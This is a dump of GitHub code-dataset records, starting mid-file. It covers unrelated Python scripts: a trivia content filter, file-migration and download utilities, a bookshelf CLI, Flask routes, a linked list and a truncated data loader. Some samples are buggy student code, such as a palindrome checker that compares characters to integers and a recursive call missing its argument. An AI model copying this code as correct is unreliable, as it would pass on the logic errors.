self.__triviaSettingsRepository.getMaxAnswerLength()\r\n\r\n        for response in question.getResponses():\r\n            if len(response) >= maxAnswerLength:\r\n                self.__timber.log('TriviaContentScanner', f'Trivia response is too long (max is {maxAnswerLength}): {question.getResponses()}')\r\n                return TriviaContentCode.ANSWER_TOO_LONG\r\n\r\n        return TriviaContentCode.OK\r\n\r\n    async def __verifyQuestionContentProfanity(self, question: AbsTriviaQuestion) -> TriviaContentCode:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        phrases = await self.__getAllPhrasesFromQuestion(question)\r\n        words = await self.__getAllWordsFromQuestion(question)\r\n        absBannedWords = await self.__bannedWordsRepository.getBannedWordsAsync()\r\n\r\n        for absBannedWord in absBannedWords:\r\n            if absBannedWord.getType() is BannedWordType.EXACT_WORD:\r\n                bannedWord: BannedWord = absBannedWord\r\n\r\n                if bannedWord.getWord() in words:\r\n                    self.__timber.log('TriviaContentScanner', f'Trivia content contains a banned word ({absBannedWord}): \\\"{bannedWord.getWord()}\\\"')\r\n                    return TriviaContentCode.CONTAINS_BANNED_CONTENT\r\n            elif absBannedWord.getType() is BannedWordType.PHRASE:\r\n                bannedPhrase: BannedPhrase = absBannedWord\r\n\r\n                for phrase in phrases:\r\n                    if bannedPhrase.getPhrase() in phrase:\r\n                        self.__timber.log('TriviaContentScanner', f'Trivia content contains a banned phrase ({absBannedWord}): \\\"{phrase}\\\"')\r\n                        return TriviaContentCode.CONTAINS_BANNED_CONTENT\r\n            else:\r\n                raise RuntimeError(f'unknown BannedWordType ({absBannedWord}): \\\"{absBannedWord.getType()}\\\"')\r\n\r\n        return TriviaContentCode.OK\r\n\r\n    async def __verifyQuestionCoreContent(self, question: AbsTriviaQuestion) -> TriviaContentCode:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        if not utils.isValidStr(question.getQuestion()):\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question ({question}) contains an empty question: \\\"{question.getQuestion()}\\\"')\r\n            return TriviaContentCode.CONTAINS_EMPTY_STR\r\n\r\n        if question.getTriviaType() is TriviaType.QUESTION_ANSWER and not question.hasCategory():\r\n            # This means that we are requiring \"question-answer\" style trivia questions to have\r\n            # a category, which I think is probably fine? (this is an opinion situation)\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question ({question}) contains an empty category: \\\"{question.getCategory()}\\\"')\r\n            return TriviaContentCode.CONTAINS_EMPTY_STR\r\n\r\n        for response in question.getResponses():\r\n            if not utils.isValidStr(response):\r\n                self.__timber.log('TriviaContentScanner', f'Trivia question ({question}) contains an empty response: \\\"{response}\\\"')\r\n                return TriviaContentCode.CONTAINS_EMPTY_STR\r\n\r\n        return TriviaContentCode.OK\r\n\r\n    async def __verifyQuestionDoesNotContainUrl(self, question: AbsTriviaQuestion):\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        if utils.containsUrl(question.getQuestion()):\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question\\'s ({question}) question contains a URL: \\\"{question.getQuestion()}\\\"')\r\n            return TriviaContentCode.CONTAINS_URL\r\n\r\n        if utils.containsUrl(question.getCategory()):\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question\\'s ({question}) category contains a URL: \\\"{question.getCategory()}\\\"')\r\n            return TriviaContentCode.CONTAINS_URL\r\n\r\n        for response in question.getResponses():\r\n            if utils.containsUrl(response):\r\n                self.__timber.log('TriviaContentScanner', f'Trivia question\\'s ({question}) response contains a URL: \\\"{response}\\\"')\r\n                return TriviaContentCode.CONTAINS_URL\r\n\r\n        return TriviaContentCode.OK\r\n\r\n    async def __verifyQuestionResponseCount(self, question: AbsTriviaQuestion) -> TriviaContentCode:\r\n        if not isinstance(question, AbsTriviaQuestion):\r\n            raise ValueError(f'question argument is malformed: \\\"{question}\\\"')\r\n\r\n        if question.getTriviaType() is not TriviaType.MULTIPLE_CHOICE:\r\n            return TriviaContentCode.OK\r\n\r\n        responses = question.getResponses()\r\n        minMultipleChoiceResponses = await self.__triviaSettingsRepository.getMinMultipleChoiceResponses()\r\n\r\n        if not utils.hasItems(responses) or len(responses) < minMultipleChoiceResponses:\r\n            self.__timber.log('TriviaContentScanner', f'Trivia question has too few multiple choice responses (min is {minMultipleChoiceResponses}): {responses}')\r\n            return TriviaContentCode.TOO_FEW_MULTIPLE_CHOICE_RESPONSES\r\n\r\n        return TriviaContentCode.OK\r\n","repo_name":"charlesmadere/CynanBotCommon","sub_path":"trivia/triviaContentScanner.py","file_name":"triviaContentScanner.py","file_ext":"py","file_size_in_byte":13427,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"15542129981","text":"import os\nimport csv\nimport re\nimport boto3\nimport shutil\n\n# Sessions will change according to the study\nlist_session = ['BaseLine', 'PracticeDrive', 'NormalDrive', 'CognitiveDrive', 'MotoricDrive', 'FinalDrive']\n\n# temporary list for collecting the names of the subject\ntemp_list = []\n\n\ndata_dir = 'Data'\n\n# vid_dir = \"Video\"\nvid_dir = \"T:\\@CPL\\TestingData\"\n\n# new_dir = \"Testing_csv_dir\"\nnew_dir = \"T:\\@CPL\\Testing_dir\"\n\norder_file_name = \"order.csv\"\nconfig_file_name = \"config.csv\"\n\n\n\n\ndef lowerCase(str):\n    return str.lower()\n\ndef createDirectoryIfNotExixts(path):\n    if not os.path.isdir(path):\n        print(str(path) + ' has been created')\n        os.mkdir(path)\n    else:\n        print(str(path) + ' is already created')\n\ndef isDirectoryExists(path):\n    if not os.path.isdir(path):\n        print(str(path) + ' is not there!')\n        return False\n    else:\n        return True\n\ndef get_immediate_subdirectories(a_dir):\n    return [name for name in os.listdir(a_dir)\n            if os.path.isdir(os.path.join(a_dir, name))]\n\ndef getSubjectListFromCsv():\n    for dirName, subdirList, fileList in os.walk(data_dir):\n        for fname in fileList:\n            if (lowerCase(fname) != lowerCase(order_file_name) and lowerCase(fname) != lowerCase(config_file_name)):\n                if (fname.endswith(\".csv\")):\n                    name = fname.split('_')\n                    temp_list.append(name[0])\n\ndef createSubjectAndSessionFolders(subj_list):\n    for subfolder in subj_list:\n        subfolder_path = os.path.join(new_dir, subfolder)\n        os.mkdir(subfolder_path)\n\n        for session in list_session:\n            os.mkdir(os.path.join(subfolder_path, session))\n            with open(os.path.join(subfolder_path, order_file_name), \"a+\", newline='') as subfolder:\n                writer = csv.writer(subfolder, delimiter=',')\n                writer.writerow([session])\n                subfolder.close()\n\n# config file:\n# this is listing the files from the directory to get them in sorted order\ndef createConfigFile():\n    for sub in os.listdir(new_dir):\n        with open(os.path.join(new_dir, config_file_name), \"a+\", newline='') as csv_file:\n            writer = csv.writer(csv_file, delimiter=',')\n            writer.writerow([sub])\n        csv_file.close()\n\ndef copyCsvFiles():\n    for directoryName, subdirectoryList, fileList in os.walk(data_dir):\n        for fname in fileList:\n            if (lowerCase(fname) != lowerCase(order_file_name) and lowerCase(fname) != lowerCase(config_file_name)):\n                if (fname.endswith(\".csv\")):\n                    index_session = int(fname.split('_')[2]) - 1\n                    name = fname.split('_')[0]\n\n                    path1 = os.path.join(data_dir, fname)\n                    path2 = os.path.join(new_dir, name, list_session[index_session], fname)\n\n                    # os.rename(os.path.join('upload_to_subjectbook', fname),\n                    #           os.path.join('Tesing_script', name, list_session[index_session], fname))\n\n                    shutil.copy2(path1, path2)\n\n\ndef copyVideoFiles():\n    for dirName, subList, fileList in os.walk(vid_dir):\n        for fname in fileList:\n            # print(fileList)\n            if (fname.endswith(\".mp4\")):\n                path = os.path.join(dirName, fname)\n                session_name = path.split('\\\\')[2]\n\n                ##Legacy data has done randomization in a very different way so this to\n                ##check for the name of the session removing the randomization\n                split_name = re.split('(\\d+)', session_name)\n                name_session = \"\"\n\n                if (len(split_name) > 1):\n                    name_session = split_name[2]\n                else:\n                    name_session = session_name\n\n                split_name = re.split('(\\d+)', fname)\n                name_subject = \"T0\" + split_name[1]\n\n                subject_path = os.path.join(new_dir, name_subject)\n\n                if isDirectoryExists(subject_path):\n                    path1 = os.path.join(dirName, fname)\n                    path2 = os.path.join(new_dir, name_subject, name_session, fname)\n\n                    # os.rename(os.path.join(dirName, fname),\n                    #           os.path.join(new_vid_dir, name_subject, name_session, fname))\n\n                    # shutil.copy2(path1, path2)\n                else:\n                    continue\n\n\ndef makeFolderStructure():\n    shutil.rmtree(new_dir, ignore_errors=True)\n    getSubjectListFromCsv()\n    createDirectoryIfNotExixts(new_dir)\n\n    # set data structure will remove the duplicates\n    subject_list = list(set(temp_list))\n\n    createSubjectAndSessionFolders(subject_list)\n    createConfigFile()\n\n\n\n\n\n\n# makeFolderStructure()\n# copyCsvFiles()\n\n\ncopyVideoFiles()\n\n","repo_name":"Shaila96/Data-Migration-Python-Script","sub_path":"@Script-CPL/VideoAndSignalFiles/csv_script.py","file_name":"csv_script.py","file_ext":"py","file_size_in_byte":4771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38783401682","text":"#!/usr/bin/env python3\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session, sessionmaker\nfrom db.models import (User, Book_Read, Book)\nimport pyfiglet\nimport sys\nfrom os import system\nfrom colorama import init, Fore, Back, Style\ninit(autoreset=True)\n\n# goals of CLI\n# 1.) greet the new user - welcome to your bookshelf!\n# 2.) login to your account // see a list of the books you've read // add a new book to your bookshelf\n# 3.) logout of your account, takes your back to the main menu\n# ***Stretch Goal***: \n# 4.) create a new account // add a new book to your account\n# 5.) add a list of books you're reading\n\n\nif __name__ == \"__main__\":\n    engine = create_engine('sqlite:///db/book.db')\n    Session = sessionmaker(bind=engine)\n    session = Session()\n\n    # banner with pyfiglet\n    result = pyfiglet.figlet_format(\"BookWorm\", font = \"big\" )\n    print(result)\n    print(\"\\033[1;35m Wadddduppp. Welcome to your bookshelf!\\n\")\n\n\n\ndef Add_New_Book(user):\n    print(\"\\033[1;35mPerfect! Let's do it!\")\n    create_book_title = input(\"\\033[1;35mEnter book title: \")\n    create_book_author = input(\"\\033[1;35mEnter book author: \")\n    new_book = Book(title=create_book_title, author=create_book_author)\n    session.add(new_book)\n    session.commit()\n    add_to_bookshelf = Book_Read(book_id= new_book.id, user_id=user.id)\n    session.add(add_to_bookshelf)\n    session.commit()\n    print(\"\\033[1;35mWoooo! Your book has been added!\")\n    response = input(\"\\033[1;35mWould you like to add another book? Y/N: \")\n    if response.lower() == 'y':\n        Add_New_Book()\n    else:\n        print(\"\\033[1;35mTTFN! Come back soon!\")\n        exit()\n\n\n##displays login Menu\ndef display_menu(menu):\n        for k, function in menu.items():\n            print(k, function.__name__)\n\ndef Exit():\n    print(\"\\033[1;35m\\nSo long,\\nfarewell,\\nauf Wiedersehen,\\nand goodbye.\\nGoodbye,\\ngoodbye,\\ngoodbye.\\nGoodbyeeeee!\\n\")\n    sys.exit()\n\ndef Create_Account():\n    print(\"\\nWow, can I just say I'm so happy you want to be apart of this!\\n~do your thing~\")\n    create_user_firstname = input(\"\\nEnter your first name: \")\n    create_user_lastname = input(\"Enter your last name:  \")\n    new_user = User(firstname=create_user_firstname , lastname=create_user_lastname)\n    session.add(new_user)\n    session.commit()\n    print(\"\\nYay! It's ~ *official* ~ \\nWelcome to the club!\\n\")\n    Login()\n    \n\ndef Login():\n    find_user = input(\"\\033[1;35mEnter your name to find your bookshelf: \")\n    user = session.query(User).filter_by(firstname = find_user).first()\n    books = []\n    if user:\n        user_relationships = session.query(Book_Read).filter_by(user_id = user.id).all() #=>list of all relationships\n        if user_relationships:\n            print(f\"{user.firstname}'s Bookshelf:\")\n            for relationship in user_relationships: #for each relationship we have, query for the related book\n                read_book = session.query(Book).filter_by(id = relationship.book_id).first()\n                books.append(read_book)\n            for n in books:\n                # print(n)\n                print(f\"{n.title}'s by {n.author}\")\n            response = input(\"\\033[1;35mWould you like to add a book? Y/N: \")\n            if response.lower() == 'y':\n                Add_New_Book(user)\n            else:\n                print(\"\\033[1;35mTTFN! Come back soon!\")\n                exit()\n        else:\n            print(\"\\033[1;35m\\nYou have not logged any books yet!\")\n            response = input(\"\\033[1;35mWould you like to add a book? Y/N: \")\n            if response.lower() == 'y':\n                Add_New_Book(user)\n            else:\n                print(\"\\033[1;35mTTFN! Come back soon!\")\n                exit()\n    else: \n        print(\"\\033[1;35mWhoops! Can you please try again? (p.s. it is case sensitive)\")\n    Login()\n\n\ndef main():\n    functions_names = [Create_Account, Login, Exit]\n    menu_items = dict(enumerate(functions_names, start=1))\n\n    while True:\n        display_menu(menu_items)\n        selection = int(\n            input(\"\\n\\033[1;35mPlease enter your selection number: \"))\n        selected_value = menu_items[selection]\n        selected_value() \n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"brandimason/BookWorm","sub_path":"lib/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19244038040","text":"name=[ 'n', 'i', 't', 'i', 'n' ]\nlength= len(name)-1\ni = 0\nwhile length > i:\n    if name[i] == length:\n        print ('palidrome hai')\n    else:\n        print ('palidrome nahi hai')\n    length = length-1 \n    i = i +1       ","repo_name":"Rupasharma18/list_questions","sub_path":"palidrome_check.py","file_name":"palidrome_check.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"41709616079","text":"# -*- coding: utf-8 -*-\r\n# author QXC NWU\r\n# TIME 2021/5/28\r\n\r\nfrom tqdm import tqdm\r\nimport os\r\nimport threading\r\nimport ssl\r\nfrom urllib.request import urlopen, Request\r\nimport argparse\r\nimport sys\r\n\r\ndef read_csv(csv_path: str, save_dir: str) -> [list, list]:\r\n    \"\"\"\r\n    # 创建文件名称池文件大小池\r\n    :param csv_path: csv文件路径 默认格式 文件名：日期：文件大小\r\n    :param save_dir: 保存路径\r\n    :return: filename_list,save_list\r\n    \"\"\"\r\n    filename_list = []\r\n    save_list = []\r\n    fd = open(csv_path)\r\n    lines = fd.readlines()\r\n    for line in lines[1:-1]:\r\n        filename_list.append(line.split(',')[0])\r\n        save_list.append(os.path.join(save_dir, filename_list[-1]))\r\n    fd.close()\r\n    return filename_list, save_list\r\n\r\ndef get_csv(csv_path:str,url:str,token:str):\r\n    \"\"\"\r\n    # 下载csv函数\r\n    :param csv_path: 文件名\r\n    :param url: URL\r\n    :param token: token\r\n    :return: null\r\n    \"\"\"\r\n    # URL修改位置\r\n    url = url+'.csv'\r\n    # Token修改位置 Bearer\r\n    headers = {\r\n        'user-agent': 'tis/download.py_1.0--3.7.6rc1 (tags/v3.7.6rc1:bd18254b91, Dec 11 2019, 20:31:07) [MSC v.1916 64 bit (AMD64)]',\r\n        'Authorization': 'Bearer '+token\r\n    }\r\n\r\n    try:\r\n        CTX = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\r\n        fh = urlopen(Request(url, headers=headers), context=CTX)\r\n        with open(csv_path, \"wb\") as f:\r\n            f.write(fh.read())\r\n        f.close()\r\n    except:\r\n        print(\"fail to download CSV Will be re-download\")\r\n\r\ndef get_file(filename: str, save_path: str,url:str,token:str):\r\n    \"\"\"\r\n    # 下载文件函数\r\n    :param filename: 文件名\r\n    :param save_path: 保存文件路径\r\n    :return: null\r\n    \"\"\"\r\n    # URL修改位置\r\n    url = url + filename\r\n    # Token修改位置 Bearer\r\n    headers = {\r\n        'user-agent': 'tis/download.py_1.0--3.7.6rc1 (tags/v3.7.6rc1:bd18254b91, Dec 11 2019, 20:31:07) [MSC v.1916 64 bit (AMD64)]',\r\n        'Authorization': 'Bearer '+token\r\n    }\r\n\r\n    try:\r\n        CTX = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\r\n        fh = urlopen(Request(url, headers=headers), context=CTX)\r\n        with open(save_path, \"wb\") as f:\r\n            f.write(fh.read())\r\n        f.close()\r\n    except:\r\n        print(\"fail to download : \", filename,\"Will be re-download\")\r\n\r\ndef threading_download(filename_list: list, save_list: list,url:str,token:str):\r\n    \"\"\"\r\n    # 多线程下载\r\n    :param thread_num:线程数量\r\n    :param filename_list:文件池\r\n    :param save_list:保存池\r\n    :param filesize_list:大小池\r\n    :return:Null\r\n    \"\"\"\r\n    threads = []\r\n    u = len(filename_list)\r\n    for i in range(u):\r\n        t = threading.Thread(target=get_file, args=(filename_list[i], save_list[i],url,token))\r\n        threads.append(t)\r\n    for i in range(u):\r\n        threads[i].start()\r\n    for i in range(u):\r\n        threads[i].join()\r\n    return\r\n\r\n\r\ndef downmain(csv_path: str, save_dir: str, url:str,token:str, thread_num: int):\r\n    \"\"\"\r\n    # 下载\r\n    :param csv_path: csv路径\r\n    :param save_dir: 文件下载目录\r\n    :param log_path: Log文件保存地址\r\n    :param thread_num: 线程数量\r\n    :return: null\r\n    \"\"\"\r\n    filename_list, save_list = read_csv(csv_path, save_dir)\r\n    a = int(len(filename_list) / thread_num)\r\n    for i in tqdm(range(a)):\r\n        threading_download(filename_list[i * thread_num:(i + 1) * thread_num],save_list[i * thread_num:(i + 1) * thread_num],url,token)\r\n    threading_download(filename_list[a * thread_num:len(filename_list)], save_list[a * thread_num:len(filename_list)],url,token)\r\n    return\r\n\r\n\r\ndef log_check(csv_path: str, thread_num: int, save_dir: str,url:str,token:str) -> bool:\r\n    \"\"\"\r\n    # 搜索失败的下载量\r\n    :param csv_path: csv路径\r\n    :param thread_num: 线程数量\r\n    :param save_dir: 保存路径\r\n    :return: Bool操作\r\n    \"\"\"\r\n    filename_list, save_list = read_csv(csv_path, save_dir)\r\n    files = os.listdir(save_dir)\r\n    for file in files:\r\n        if file in filename_list:\r\n            filename_list.remove(file)\r\n            save_list.remove(os.path.join(save_dir, file))\r\n    if len(filename_list) == 0:\r\n        return False\r\n    else:\r\n        a = int(len(filename_list) / thread_num)\r\n        for i in tqdm(range(a)):\r\n            threading_download(filename_list[i * thread_num:(i + 1) * thread_num],save_list[i * thread_num:(i + 1) * thread_num],url,token)\r\n        threading_download(filename_list[a * thread_num:len(filename_list)],save_list[a * thread_num:len(filename_list)],url,token)\r\n        return True\r\n\r\ndef main(url:str,save_dir:str,token:str,csv_path:str):\r\n    \"\"\"\r\n    # 下载主函数\r\n    :param url: URL\r\n    :param save_dir: 保存路径\r\n    :param token: TOKEN\r\n    :param csv_path: csv路径\r\n    :return:\r\n    \"\"\"\r\n    thread_num = 20\r\n    get_csv(csv_path,url,token)\r\n    downmain(csv_path, save_dir, url,token, thread_num=thread_num)\r\n    logflag = True\r\n    while logflag:\r\n        logflag = log_check(csv_path, thread_num, save_dir,url,token)\r\n\r\ndef _main(argv):\r\n    \"\"\"\r\n    # 读取系统输入\r\n    :param argv: argv\r\n    :return: 执行函数main\r\n    \"\"\"\r\n    parser = argparse.ArgumentParser(prog=argv[0], description=\"DOWNLOAD WITH THREADING\")\r\n    parser.add_argument('-u', '--url', dest='url', metavar='URL', help='LAAD DOWNLOAD URL', required=True)\r\n    parser.add_argument('-s', '--saved', dest='saved', metavar='DIR',help='Store directory structure in DIR', required=True)\r\n    parser.add_argument('-t', '--token', dest='token', metavar='TOK', help='Use app token TOK to authenticate',required=True)\r\n    parser.add_argument('-c', '--csv', dest='csv', metavar='CSV', help='CSV PATH READING',required=True)\r\n    args = parser.parse_args(argv[1:])\r\n    if not os.path.exists(args.saved):\r\n        os.makedirs(args.saved)\r\n    return main(args.url,args.saved,args.token,args.csv)\r\n\r\n\r\nif __name__ == '__main__':\r\n    try:\r\n        sys.exit(_main(sys.argv))\r\n    except KeyboardInterrupt:\r\n        sys.exit(-1)","repo_name":"qxcnwu/LAADDOWNLOAD","sub_path":"modis_cloud_download.py","file_name":"modis_cloud_download.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"1864300314","text":"from flask import Blueprint, request\nfrom flask import jsonify\nfrom website.service_dir.dot_topic_resp_ratings_service import createDot_topic_resp_ratings, updateDot_topic_resp_ratings\nfrom website.service_dir.dot_topic_resp_ratings_service import findAll, findById, findBy\nfrom website.service_dir.dot_topic_resp_ratings_service import rateResponse, reactResponse, respReactions\nfrom website.service_dir.dot_topic_resp_ratings_service import importDot_topic_resp_ratingss, deleteById, filter\nfrom website.oauth2 import require_oauth\nfrom website.model_dir.dot_topic_resp_ratings import DotTopicRespRatings\nfrom json import loads\nimport pandas as pd\n\nbp = Blueprint(__name__, 'dotTopicRespRatings')\n\n\n@bp.route('', methods=['POST', 'PUT', 'GET'])\n@require_oauth()\ndef dot_topic_resp_ratingsOps():\n    dot_topic_resp_ratingsObj = DotTopicRespRatings()\n    if request.method == 'POST':\n        dot_topic_resp_ratings = request.get_json(force=True)\n        dot_topic_resp_ratingsObj = createDot_topic_resp_ratings(dot_topic_resp_ratings)\n\n    elif request.method == 'PUT':\n        dot_topic_resp_ratings = request.get_json(force=True)\n        dot_topic_resp_ratingsObj = updateDot_topic_resp_ratings(dot_topic_resp_ratings)\n\n    elif request.method == 'GET':\n        page = request.args.get('page', 1, type=int)\n        per_page = request.args.get('per_page', 10, type=int)\n        sort = request.args.get('sort', 'lastmodified_date,desc', type=str)\n        dot_topic_resp_ratingsPages = findAll(page, per_page, sort)\n        dot_topic_resp_ratingss = dot_topic_resp_ratingsPages.items\n        dot_topic_resp_ratingsMaps = []\n        for dot_topic_resp_ratings in dot_topic_resp_ratingss:\n            dot_topic_resp_ratingsMaps.append(dot_topic_resp_ratings.as_dict())\n\n        return jsonify(dot_topic_resp_ratingsMaps), 200, {'X-Total-Count': dot_topic_resp_ratingsPages.total}\n    return jsonify(dot_topic_resp_ratingsObj.as_dict())\n\n\n@bp.route('/<id>',  methods=['GET'])\n@require_oauth()\ndef findbyId(id):\n    dot_topic_resp_ratings = findById(id)\n    return jsonify(dot_topic_resp_ratings.as_dict())\n\n\n@bp.route('/filter',  methods=['POST'])\n@require_oauth()\ndef findbyFilter():\n    filterDict = request.get_json(force=True)\n    dot_topic_resp_ratingss = filter(filterDict)\n    dot_topic_resp_ratingsMaps = []\n    for dot_topic_resp_ratings in dot_topic_resp_ratingss:\n        dot_topic_resp_ratingsMaps.append(dot_topic_resp_ratings.as_dict())\n    return jsonify(dot_topic_resp_ratingsMaps), 200, {'X-Total-Count': len(dot_topic_resp_ratingss)}\n\n\n@bp.route('/import',  methods=['POST'])\n@require_oauth()\ndef importDot_topic_resp_ratingssRoute():\n    csv_file = pd.DataFrame(pd.read_csv(request.files.get('file'),skiprows=1, sep=\",\", names=[\"email\", \"language\", \"location\", \"mobile\", \"name\"], index_col=False))\n    result = csv_file.to_json(orient=\"records\")\n    parsed = loads(result)\n    importDot_topic_resp_ratingss(parsed)\n    return jsonify({\"success\": True})\n\n\n@bp.route('/<id>',  methods=['DELETE'])\n@require_oauth()\ndef deletebyId(id):\n    deleteById(id)\n    return jsonify({\"success\": True})\n\n\n@bp.route('/rate_response',  methods=['POST'])\n@require_oauth()\ndef rate_response():\n    dotRateResponseJson = request.get_json(force=True)\n    dotTopicRespRating = rateResponse(dotRateResponseJson)\n    return jsonify(dotTopicRespRating.as_dict())\n\n\n@bp.route('/react_response',  methods=['POST'])\n@require_oauth()\ndef react_response():\n    dotReactResponseJson = request.get_json(force=True)\n    dotTopicRespRating = reactResponse(dotReactResponseJson)\n    dotRespRatings = dotTopicRespRating.as_dict()\n    respReactionss = respReactions(dotReactResponseJson[\"topic_response\"])\n    respReactionMaps = []\n    for respReaction in respReactionss:\n        respReactionMaps.append(\n            {\"creative\": str(respReaction.creative), \"fun\": str(respReaction.fun), \"truth\": str(respReaction.truth)})\n    dotRespRatings[\"reactions\"] = respReactionMaps\n    return jsonify(dotRespRatings)","repo_name":"abhinav1144/aws_angular_pipeline","sub_path":"services/backend/website/routes_dir/dot_topic_resp_ratings_routes.py","file_name":"dot_topic_resp_ratings_routes.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8256663064","text":"import os\nroot_dir = os.getcwd()\n\nroot_dir = os.path.dirname(root_dir)\ndata305_source_dir = os.path.join(root_dir, 'UNet_framework/degrain_examples/305/source')\ndata305_target_dir = os.path.join(root_dir, 'UNet_framework/degrain_examples/305/target')\ndata306_source_dir = os.path.join(root_dir, 'UNet_framework/degrain_examples/306/source')\ndata306_target_dir = os.path.join(root_dir, 'UNet_framework/degrain_examples/306/target')\n\ndef get_files(dir_path):\n    return os.listdir(dir_path)\n\ndef rename(source_data_dir, source_files, target_files):\n    for source_file, target_file in zip(source_files, target_files):\n        print(source_file)\n        print(target_file)\n        os.rename(source_data_dir+'/'+source_file,source_data_dir+'/'+target_file)\n\n\nprint(get_files(data305_source_dir))\nrename(data305_source_dir,get_files(data305_source_dir),get_files(data305_target_dir))\nrename(data306_source_dir,get_files(data306_source_dir),get_files(data306_target_dir))\n\n\n","repo_name":"327926791/RDUNet-for-image-denoise","sub_path":"UNet_framework/change_file_names.py","file_name":"change_file_names.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"69808624160","text":"class Node:\n\n    def __init__(self, data=None):\n        self.data = data\n        self.next = None\n\n\nclass LinkedList:\n\n    def __init__(self):\n        self.head = None\n        self.count = 0\n\n    def atStart(self, data):\n        newNode = Node(data)\n        newNode.next = self.head\n        self.head = newNode\n        self.count += 1\n\n    def atEnd(self, data):\n        self.atIndex(data, self.count)\n\n    def push(self, data):\n        self.atEnd(data)\n\n    def pushList(self, lst):\n        _ = [self.push(x) for x in lst]\n\n    def atIndex(self, data, index):\n        if index == 0:\n            self.atStart(data)\n        else:\n            newNode = Node(data)\n            i = 0\n            tmp = self.head\n            while i < index -1:\n                i += 1\n                tmp = tmp.next\n            newNode.next = tmp.next\n            tmp.next = newNode\n            self.count += 1\n\n    def remove(self, index):\n        if index < self.count and self.count > 0:\n            if index == 0:\n                tmp = self.head\n                self.head = tmp.next\n                del tmp\n                self.count -= 1\n            else:\n                i = 0\n                tmp = self.head\n                while i < index - 1:\n                    i += 1\n                    tmp = tmp.next\n\n                removeNode = tmp.next\n                tmp.next = tmp.next.next\n                del removeNode\n                self.count -= 1\n        else:\n            print(\"Illegal operation\")\n\n    def pop(self):\n        tmp = self.head\n        while tmp.next != None:\n            tmp = tmp.next\n        self.remove(self.count-1)\n        return tmp\n\n    def display(self):\n        tmp = self.head\n        while tmp != None:\n            print(tmp.data, end=\", \")\n            tmp = tmp.next\n        print(\"\")","repo_name":"xprilion/-_-","sub_path":"^__^/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8594069759","text":"\"\"\"Provides functions prepare_data_x.\n\nThese functions should take in a dataframe of measurements and return a\nPreparedData object.\n\"\"\"\nimport csv\nimport json\nimport os\nimport re\nfrom typing import Dict, List, Optional, Set, Tuple\n\nimport pandas as pd\nimport pandera as pa\nfrom pandera.typing import DataFrame\nfrom pydantic import BaseModel\n\nfrom cmfa.fluxomics_data.compound import Compound\nfrom cmfa.fluxomics_data.flux_measurement import FluxMeasurement\nfrom cmfa.fluxomics_data.fluxomics_dataset import FluxomicsDataset\nfrom cmfa.fluxomics_data.mid_measurement import (\n    MIDMeasurement,\n    MIDMeasurementComponent,\n)\nfrom cmfa.fluxomics_data.reaction import Reaction, ReactionDirection\nfrom cmfa.fluxomics_data.reaction_network import ReactionNetwork\nfrom cmfa.fluxomics_data.tracer import Tracer, TracerExperiment\n\nFLUX_MEASUREMENTS_FILE = \"flux.csv\"\nMS_MEASUREMENTS_FILE = \"ms_measurements.csv\"\nREACTION_FILE = \"reactions.csv\"\nTRACER_FILE = \"tracers.csv\"\nMODEL_FILE = \"model.json\"\nCUR_DIR = os.getcwd()\nDATA_DIR = os.path.join(CUR_DIR, \"data\", \"test_data\")\n\n\ndef load_tracer_data(file_path: str) -> List[TracerExperiment]:\n    \"\"\"\n    Load tracer data from a CSV file into Tracer and TracerExperiment objects.\n\n    Parameters\n    ----------\n    file_path : str\n        The path to the CSV file containing the tracer data.\n\n    Returns\n    -------\n    List[Tracer]\n        A list of Tracer objects from the file.\n    List[TracerExperiment]\n        A list of TracerExperiment objects loaded from the file.\n    \"\"\"\n    tracer_experiments = {}\n    tracers = {}\n    with open(file_path, mode=\"r\", encoding=\"utf-8\") as file:\n        reader = csv.DictReader(file)\n        for row in reader:\n            # Create Tracer object\n            atom_positions = set(\n                map(int, row[\"atom_ids\"].strip(\"[]\").split(\",\"))\n            )\n            isotope = row[\"tracer_id\"]\n            if isotope not in tracers:\n                tracers[isotope] = Tracer(\n                    isotope=isotope,\n                    compound=row[\"met_id\"],\n                    labelled_atom_positions=atom_positions,\n                    purity=float(row[\"ratio\"]),\n                )\n            print(tracers)\n            # Add to TracerExperiment\n            exp_id = row[\"experiment_id\"]\n            enrichment = float(row[\"enrichment\"])\n            if exp_id not in tracer_experiments:\n                tracer_experiments[exp_id] = TracerExperiment(\n                    experiment_id=exp_id,\n                    tracer_enrichments={tracers[isotope].isotope: enrichment},\n                )\n            else:\n                tracer_experiments[exp_id].tracer_enrichments[\n                    tracers[isotope].isotope\n                ] = enrichment\n            print(tracer_experiments)\n    return list(tracers.values()), list(tracer_experiments.values())\n\n\ndef load_flux_measurements(file_path: str) -> 